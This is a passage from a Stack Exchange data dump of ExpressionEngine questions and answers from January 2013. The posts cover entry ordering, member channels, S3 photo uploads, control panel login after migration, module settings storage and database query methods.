  <row Id="3615" PostTypeId="2" ParentId="3614" CreationDate="2013-01-11T13:19:14.303" Score="1" Body="&lt;p&gt;The quick and simple way is to set the &lt;strong&gt;Entry Date&lt;/strong&gt; of your important link so it's later than all the other entries (or, very far into the future and then add &lt;code&gt;show_future_entries=&quot;yes&quot;&lt;/code&gt; to your Channel Entries tag).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The nicer way is to use &lt;a href=&quot;http://gotolow.com/addons/low-reorder&quot; rel=&quot;nofollow&quot;&gt;Low Reorder&lt;/a&gt; to set the order of your entries.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-01-11T13:19:14.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3616" PostTypeId="2" ParentId="3614" CreationDate="2013-01-11T13:22:01.167" Score="1" Body="&lt;p&gt;If each link is an entry then you can set the one you want at the top to be &quot;sticky&quot;. You can do this in the options tab of the entry form. It will then appear first in any list of entries regardless of other ordering set in the entries tag pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#sticky&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#sticky&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise you can order by date or use a third party add-on to manage the ordering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also set a custom order on your entries tag-pair but this relies on you knowing the entry ids of the entries you are retrieving.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-01-11T13:22:01.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3617" PostTypeId="2" ParentId="3611" CreationDate="2013-01-11T13:27:23.210" Score="2" Body="&lt;p&gt;I can't say whether or not your approach can successfully be handled by &lt;a href=&quot;https://objectivehtml.com/safecracker-registration&quot; rel=&quot;nofollow noreferrer&quot;&gt;SafeCracker Registration&lt;/a&gt; or any of the manage members in channel options. Mainly, because they are typically set-up to assume you will be placing members in a single channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, I can think of two options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a single &lt;code&gt;members&lt;/code&gt; channel, but different registration forms&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Match each &lt;code&gt;members&lt;/code&gt; channel to membership group in EE's Membership&#xA;Manager&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For the first option, yes, you channel could end up with a lot of fields in the backend, but you can only have and display the fields associated to a particular member group to them on the front end. It also means that if you had any shared fields, say like capturing gender, or birthday, you could search specifically in one place, as opposed to having: &lt;code&gt;gold_member_birthday&lt;/code&gt;, &lt;code&gt;silver_member_birthday&lt;/code&gt;, &lt;code&gt;platinum_member_birthday&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the second option, if it's doable, you can probably get close to what you want if you match channel names to membership groups. So in EE's Membership Manager, where member groups and permissions are controlled, you have the member groups: &lt;code&gt;gold&lt;/code&gt;, &lt;code&gt;silver&lt;/code&gt;, &lt;code&gt;platinum&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in &lt;code&gt;channels&lt;/code&gt; your channels are called either: &lt;code&gt;gold&lt;/code&gt;, &lt;code&gt;silver&lt;/code&gt;, &lt;code&gt;platinum&lt;/code&gt; or &lt;code&gt;member-gold&lt;/code&gt;, &lt;code&gt;member-silver&lt;/code&gt;, &lt;code&gt;member-platinum&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way, there member_group and related channel is part of the basic membership management.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VE3Xn.jpg&quot; alt=&quot;View of Membership Manager: Member Search/List&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;member_group&lt;/code&gt; would be visible in the list, and would match the designated channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way, I'd test, with just a small field set and SafeCracker Registration first. There maybe other issues with managing multiple member channels, but I'm not certain if anyone's has ever tried before, so it may work perfectly fine.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-01-11T13:27:23.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3618" PostTypeId="1" AcceptedAnswerId="3634" CreationDate="2013-01-11T13:49:00.393" Score="2" ViewCount="123" Body="&lt;p&gt;I am trying to set a conditional on a navigation element using segmentation, and this works fine except when I hit the pagination stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pagination is in increments of 50 so I tried the following but it only works if the page is P50.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a {if segment_2 == &quot;&quot; OR segment_2 == &quot;article&quot; AND segment_2 &amp;gt;=&quot;P50&quot;}class=&quot;active&quot;{/if} href=&quot;{site_url}news/&quot;&amp;gt;Clean Energy News&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a {if segment_2 == &quot;releases&quot;}class=&quot;active&quot;{/if} href=&quot;{site_url}news/releases&quot;&amp;gt;News Releases&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a {if segment_2 == &quot;multimedia&quot;}class=&quot;active&quot;{/if}{if segment_2 == &quot;photos&quot;}class=&quot;active&quot;{/if} href=&quot;{site_url}news/multimedia&quot;&amp;gt;Multimedia&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a {if segment_2 == &quot;archive&quot;}class=&quot;active&quot;{/if}href=&quot;{site_url}news/archive&quot;&amp;gt;News Archive&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a conditional I can put on segment_2 that will work? Note that I have other nav elements that I don't want it to interfere with. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2013-01-13T14:20:40.470" Title="How do I set a conditional on Paginated pages?" Tags="|conditionals|navigation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3619" PostTypeId="1" AcceptedAnswerId="3621" CreationDate="2013-01-11T14:27:52.540" Score="2" ViewCount="289" Body="&lt;p&gt;I'm setting up a form where people will be able to submit photos for a contest. It uses Safecracker and the Safecracker file field to upload a single photo and related metadata with the photo going to a designated directory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Works fine with smaller images, but chokes once it gets to about 4mb file size. Looks like it's running into the max CPU runtime. I imagine this problem will get worse as the # of entries in that directory increase. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been looking into addons for using Amazon S3, but it looks like these are more for file management from within the Control Panel, or integrated with edit forms...and that they leave copies of the images on the site's server. Is there a way to use Safecracker to upload directly to Amazon S3 so I just bypass this problem with the server choking? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I'm trying to figure out the best way to make sure each title/photo has a unique name, and thought the cleanest way would be to append the entryID to each upon submission. Wondered if anyone had another solution. Duplicate photo names right now are getting the word &quot;temp&quot; added automatically, but that looks clunky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="546" LastActivityDate="2013-01-11T14:59:22.153" Title="Uploading photos to Amazon S3 using Safecracker?" Tags="|safecracker|file-uploads|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3620" PostTypeId="2" ParentId="3608" CreationDate="2013-01-11T14:33:16.440" Score="2" Body="&lt;p&gt;I found the answer to my own question...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside the stash tag, the form was wrapped in a {exp:channel:entries} tag. I realised I didn't need it, removed it and it worked then. Parse order must have changed things. It's working now though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, finished talking to myself now.&lt;/p&gt;&#xA;" OwnerUserId="176" LastActivityDate="2013-01-11T14:33:16.440" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3621" PostTypeId="2" ParentId="3619" CreationDate="2013-01-11T14:59:22.153" Score="3" Body="&lt;p&gt;You want &lt;a href=&quot;http://devot-ee.com/add-ons/simple-s3-uploader&quot; rel=&quot;nofollow&quot;&gt;Simple S3 Uploader&lt;/a&gt; - this will upload directly to S3. I'm using it on a site at this very moment and I'm uploading 6-12Mb Images and it's absolutely fine.&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2013-01-11T14:59:22.153" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3622" PostTypeId="1" AcceptedAnswerId="3628" CreationDate="2013-01-11T15:04:34.447" Score="2" ViewCount="159" Body="&lt;p&gt;I just inherited an EE 1.6.7 project. I'm attempting to log into /system in my local dev environment and each time I'm just redirected to the CP login page, which does not have any images or styles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I remember from way back when that it's doing this because the Site URL &amp;amp; other paths don't match. I also remember (and was just reminded when I blew things up) that I can't modify these values in the database directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the solution to be able to log into the CP homepage in a different environment than what's stored in the database?&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2013-01-11T15:58:14.367" LastActivityDate="2013-01-11T19:05:02.990" Title="Logging into CP in EE 1.x after migration" Tags="|control-panel|login|ee1|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3623" PostTypeId="2" ParentId="3561" CreationDate="2013-01-11T15:18:03.197" Score="1" Body="&lt;p&gt;We've done the same as Samsull for custom applications built with ExpressionEngine, where we had a dashboard of information stored in entries, and &quot;edit&quot; links alongside content to edit that information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We passed those edit URLs to a jQuery lightbox that would load a Safecracker form. You'll probably need to re-output some of the core entry fields, like URL Title, in hidden form fields, but you can limit the visible Safecracker form to just the content field you want the user to edit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We would set the return URL of the Safecracker form to a particular page URL that just had some JavaScript in it. That JavaScript would close the lightbox and refresh the parent page, which would then display the updated content.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-01-11T15:18:03.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3625" PostTypeId="2" ParentId="3611" CreationDate="2013-01-11T15:38:33.713" Score="2" Body="&lt;p&gt;I have actually used Safecracker Registration to store members in different channels. The hardest part of this would be moving a member from 1 channel to the other. Safecracker has a number of limitations with this, and if your channels had different field groups that would impose another level of complexity. I have however used the same field group to give different members different access to various channels. But once a member was in a channel, they stayed there. (Even with unique fields as long as a member didn't move channels it should work. Although I might try to use Member Groups if possible.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you need to move members to another channel, it may require an additional add-on. This is a limitation with Safecracker, so all the member modules using SC would all have issues too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So... to figure out what channel a member belong to, I would just try to use the &lt;code&gt;{channel_id}&lt;/code&gt; variable inside a Channel Entries loop. There are a number of ways to do it. I am somewhat confused as to why you would need the &lt;code&gt;edit_member&lt;/code&gt; parameter just to determine to which channel a member belongs. So I am not sure where you a running into the &quot;overkill&quot; stuff with Stash. Stash is just used to workout limitations imposed by EE. It shouldn't be adding any bloat to your page.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-01-11T15:38:33.713" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3626" PostTypeId="1" AcceptedAnswerId="3627" CreationDate="2013-01-11T15:46:40.957" Score="1" ViewCount="190" Body="&lt;p&gt;Pretty basic question here, but this is my first MSM build.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the proper template path/location for Site 2 in MSM?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should they be within the Site 2 file structure, or should they be with the default site file structure?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, only &lt;code&gt;admin.php&lt;/code&gt; and &lt;code&gt;index.php&lt;/code&gt; exist within the site 2 file structure.&lt;/p&gt;&#xA;" OwnerUserId="202" LastActivityDate="2013-01-11T16:43:38.537" Title="Template files for Site 2 in MSM" Tags="|templates|multi-site-manager|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3627" PostTypeId="2" ParentId="3626" CreationDate="2013-01-11T15:52:20.463" Score="3" Body="&lt;p&gt;MSM should store everything about the site in the default site installation, except for the index.php &amp;amp; admin.php files in the 2nd site that route requests into the install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may be able to specify a different path for the template location within the Site 2 context in the CP, but all of your other paths (add-ons, etc) are going to point to the Site 1 install. Makes sense to keep all your code centralized and just see the template files in different subdirectories.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-01-11T15:52:20.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3628" PostTypeId="2" ParentId="3622" CreationDate="2013-01-11T16:20:02.667" Score="3" Body="&lt;p&gt;I tried a number of different options to try to get this to work. Dug up a post on setting 1.6.7 to use dynamic URLs &amp;amp; paths to try to enable the CP in my local dev environment:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://old.kennwilson.com/2007/11/configuring-expression-engine-for-multiple-servers&quot; rel=&quot;nofollow&quot;&gt;http://old.kennwilson.com/2007/11/configuring-expression-engine-for-multiple-servers&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I was still unable to log in, I ended up following &lt;a href=&quot;http://ellislab.com/forums/viewreply/1027386/&quot; rel=&quot;nofollow&quot;&gt;this advice&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Generally it helps to change admin part to session only or cookies&#xA;  only, I like session only but it seems some hosting companies have&#xA;  session encrypted and that can cause problems.  Also, in Chrome I have&#xA;  extension for cookies, so I delete cookies when such things happen.&#xA;  And second problem I can have is when I do test, login to test without&#xA;  a problem, go to production, and cannot login or when I go from one&#xA;  client to another on another server only because I opened different&#xA;  CPs several times.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Try that ... change session only or cookies and session to cookies&#xA;  only or vice versa, delete browser cache and try again OR of you do it&#xA;  several times and it does not work, wait for few minutes.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Simply clearing the cache &amp;amp; deleting cookies did not work. I had to change the following from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$conf['admin_session_type'] = &quot;c&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$conf['admin_session_type'] = &quot;s&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I was able to log in.&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="77" LastEditDate="2013-01-11T16:23:17.937" LastActivityDate="2013-01-11T16:23:17.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3629" PostTypeId="2" ParentId="3558" CreationDate="2013-01-11T16:21:48.867" Score="2" Body="&lt;p&gt;Good answer to this issue by Brandon over at the original GetSatisfaction entry: &#xA;&lt;a href=&quot;https://getsatisfaction.com/pixelandtonic/topics/error_2006_on_submit&quot; rel=&quot;nofollow&quot;&gt;https://getsatisfaction.com/pixelandtonic/topics/error_2006_on_submit&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks again, Brandon. &lt;/p&gt;&#xA;" OwnerUserId="756" LastActivityDate="2013-01-11T16:21:48.867" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3630" PostTypeId="2" ParentId="3626" CreationDate="2013-01-11T16:43:38.537" Score="3" Body="&lt;p&gt;I think you can basically put them wherever you want so long as you set the appropriate template path. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want them stored under the &quot;main&quot; MSM installation or you may prefer, as I do, to keep them within each site's directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example I have an MSM installation running 8 sites and the directories are set up like so (missing out some of the directories for the sake of brevity);&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;htdocs&#xA;    'main' site&#xA;        index.php&#xA;        admin.php&#xA;        eesystem&#xA;            expressionengine&#xA;                templates&#xA;                    default_site (templates for the main site)&#xA;        images&#xA;        etc&#xA;    site2&#xA;        index.php&#xA;        admin.php&#xA;        templates&#xA;        images&#xA;    site3&#xA;        index.php&#xA;        admin.php&#xA;        templates&#xA;        images&#xA;    site4&#xA;        index.php&#xA;        admin.php&#xA;        templates&#xA;        images&#xA;&#xA;and so on...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-01-11T16:43:38.537" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3631" PostTypeId="1" AcceptedAnswerId="3643" CreationDate="2013-01-11T18:22:50.607" Score="4" ViewCount="216" Body="&lt;p&gt;I'm working on extending the external_entries plugin to support a SQL LIKE clause, using the &quot;searchlike&quot; param that was &lt;a href=&quot;http://engaging.net/docs/external-entries&quot; rel=&quot;nofollow&quot;&gt;mentioned here&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As and example if I wanted to find all rows of an external table in that had a date of 2013 I would use the param searchlike:date=&quot;2013%&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to use &lt;code&gt;fetch_param&lt;/code&gt; (or something akin to it) with a param name that you only know the beginning of?&lt;/p&gt;&#xA;" OwnerUserId="766" LastEditorUserId="490" LastEditDate="2013-01-11T20:41:14.793" LastActivityDate="2013-01-11T20:41:14.793" Title="fetch_param when you only know a portion of the param name" Tags="|ee2|add-on-development|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3632" PostTypeId="1" AcceptedAnswerId="3637" CreationDate="2013-01-11T18:43:08.863" Score="7" ViewCount="577" Body="&lt;p&gt;I am writing a new module for ExpressionEngine and have a couple of settings that I want to store from the Facebook API. For example, if I wanted to store the Facebook ID and Albums they want to pull photos from do I need to store them in a custom DB table or is there a quick way to store settings, much like wp_options in WordPress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I am new to writing modules and have found a couple tutorials but most are either, short and don't have an mcp - or they stop half-way through. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help.&lt;/p&gt;&#xA;" OwnerUserId="767" LastEditorUserId="490" LastEditDate="2013-01-11T22:08:18.113" LastActivityDate="2013-01-14T10:34:15.660" Title="Am I able to store my own module settings in an EE table?" Tags="|add-on-development|module|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3633" PostTypeId="2" ParentId="3622" CreationDate="2013-01-11T19:05:02.990" Score="0" Body="&lt;p&gt;When this happens to me, I clear browser cache and add the following into my config file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$conf['cookie_domain'] = &quot;&quot;;&#xA;$conf['cookie_path'] = &quot;&quot;;&#xA;$conf['cookie_prefix'] = &quot;&quot;;&#xA;$conf['admin_session_type'] = &quot;cs&quot;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-01-11T19:05:02.990" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3634" PostTypeId="2" ParentId="3618" CreationDate="2013-01-11T19:12:07.280" Score="3" Body="&lt;p&gt;Take a look at the &lt;a href=&quot;http://devot-ee.com/add-ons/md-detect-page-type&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;MD Detect Page Type&lt;/strong&gt;&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Switchee&lt;/strong&gt;&lt;/a&gt; addons.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-01-11T19:12:07.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3635" PostTypeId="2" ParentId="3613" CreationDate="2013-01-11T19:20:38.777" Score="2" Body="&lt;p&gt;Try installing the GitHub version of the &lt;a href=&quot;https://github.com/pixelandtonic/pt_list/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Pixel &amp;amp; Tonic List field&lt;/strong&gt;&lt;/a&gt; which should fix this issue for you.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-01-11T19:20:38.777" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3636" PostTypeId="2" ParentId="3632" CreationDate="2013-01-11T19:27:56.243" Score="3" Body="&lt;p&gt;If you only have a few settings, the most common pattern for this is to use a companion extension for your module, as extensions get a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extensions.html#abstracted-settings-form-and-processing&quot; rel=&quot;nofollow&quot;&gt;built-in settings screen for &quot;free&quot;&lt;/a&gt;, avoiding the need for a separate table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Adrian says though, the native extension settings are stored as a serialised array, so if you have a large amount of settings data a separate table is the way to go.&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="104" LastEditDate="2013-01-11T19:43:49.900" LastActivityDate="2013-01-11T19:43:49.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3637" PostTypeId="2" ParentId="3632" CreationDate="2013-01-11T19:32:10.957" Score="7" Body="&lt;p&gt;Most serious modules I know of create their own settings table. It's not ideal, but EE doesn't really offer any built in solutions for modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your module has an extension, as Tom mentioned, you can use that to store a serialized array of settings. Alternatively, I know some modules add a &lt;code&gt;settings&lt;/code&gt; column to the &lt;code&gt;exp_modules&lt;/code&gt; table (obviously after checking it doesn't already exist) in their install script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in your case, it sounds like you would probably be better creating your own database tables anyway (always try to avoid giant serialized arrays if at all possible).&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="150" LastEditDate="2013-01-11T21:57:44.107" LastActivityDate="2013-01-11T21:57:44.107" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3638" PostTypeId="1" AcceptedAnswerId="3668" CreationDate="2013-01-11T19:58:04.757" Score="2" ViewCount="98" Body="&lt;p&gt;I have an existing DB with entries that have been assigned to authors via the native Members module as well as Solspace's User module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, the User module doesn't take into account entries that have been assigned to a member via the native module when using the &lt;code&gt;exp:user:entries&lt;/code&gt; loop — and the opposite is true as well, of course. This means that, on a user profile page, there's no way to get a list of entries using both assignments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get a list of results that includes both assignments?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Updated to say: the issue is entries with multiple authors. Some entries have User data (entries with multiple authors) and some don't. I may end up manually having to enter User data for all entries, but there are a few hundred. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm guessing we might have to head into Query territory, which is just beyond my capabilities at the moment.)&lt;/p&gt;&#xA;" OwnerUserId="453" LastEditorUserId="453" LastEditDate="2013-01-12T03:07:04.933" LastActivityDate="2013-01-12T20:28:29.107" Title="Show a combined Solspace User and native Member entry count?" Tags="|add-on|members|query|solspace-user|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3639" PostTypeId="1" CreationDate="2013-01-11T19:59:18.703" Score="3" ViewCount="695" Body="&lt;p&gt;i want to load some images on a click event from an external loaded javascript.&#xA;At the end of the template i manage my loaded scripts via modernizr load and yep nope. On click of some of the elements i want to load a html snippet with some ee related tags for the different channel entries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The snippet look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; status=&quot;open&quot; dynamic=&quot;off&quot;}&#xA;&amp;lt;article class=&quot;close&quot;&amp;gt;&#xA;    &amp;lt;h2&amp;gt;{title} TEST&amp;lt;/h2&amp;gt;&#xA;&amp;lt;/article&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As i said i use jQuery to manipulate the dom, but i'm not able to start an ajax call like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function loadSlider(element) &#xA;    {&#xA;        $(element).load(&quot;/system/expressionengine/templates/snippets/newswall_news.html&quot;);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i get only an 403 error?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried it also as test to put the html snippet in the root folder, but the ee tags don't get parsed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help on this would be great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Peter&lt;/p&gt;&#xA;" OwnerUserId="768" LastActivityDate="2013-01-11T20:13:12.140" Title="Ajax call via external embedded javascript?" Tags="|ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3640" PostTypeId="2" ParentId="3639" CreationDate="2013-01-11T20:06:07.130" Score="4" Body="&lt;p&gt;You're currently accessing the template from the wrong URL. EE writes URL's based off the template groups from the root of the site: &lt;code&gt;index.php/template_group/template_name&lt;/code&gt;. If you're removing &lt;code&gt;index.php&lt;/code&gt; from the URL, just remove it from the snippet below and this should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(element).load(&quot;index.php/snippets/newswall_news&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2013-01-11T20:13:12.140" LastActivityDate="2013-01-11T20:13:12.140" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3641" PostTypeId="1" AcceptedAnswerId="3642" CreationDate="2013-01-11T20:10:59.023" Score="3" ViewCount="9150" Body="&lt;p&gt;So I am trying to get a specific setting out of the database. And it seems that most of the CodeIgniter DB actions don't work in ExpressionEngine( &lt;a href=&quot;http://ellislab.com/codeigniter/user-guide/database/results.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/codeigniter/user-guide/database/results.html&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am wanting to do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$facebook_id = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;some_db_function('table_name', array('column_name', 'value'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that would create a query like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Select column_name FROM table_name WHERE column_name=`value`;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just in case there is any confusion, here is my actual code currently:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;get_where( 'fb_photo_settings', array('setting_name' =&amp;gt; 'facebook_id') );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that returns an object and I'm wanting to just run a query that returns just the value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it just returns the value in the field, not an object or an array just the value. Is there any way to do this. And if not - how can I use the result() type functions on the link above?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="767" LastActivityDate="2018-02-19T07:34:25.330" Title="Get specific value without having to loop with db class" Tags="|database|module|query|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3642" PostTypeId="2" ParentId="3641" CreationDate="2013-01-11T20:19:49.110" Score="5" Body="&lt;p&gt;To get a single value, you want to use the &lt;code&gt;row()&lt;/code&gt; method on your &lt;code&gt;$query&lt;/code&gt; object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;db-&amp;gt;select('my_col');&#xA;$query = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;get_where( 'fb_photo_settings', array('setting_name' =&amp;gt; 'facebook_id') );&#xA;$var = $query-&amp;gt;row('my_col');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To get an object with a whole row:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;get_where( 'fb_photo_settings', array('setting_name' =&amp;gt; 'facebook_id') );&#xA;$row = $query-&amp;gt;result_array();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Always a good idea to check for the existence of results first though:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($query-&amp;gt;num_rows() &amp;gt; 0)&#xA;{&#xA;    // do stuff with $query&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All of CodeIgniter's Active Record querying methods 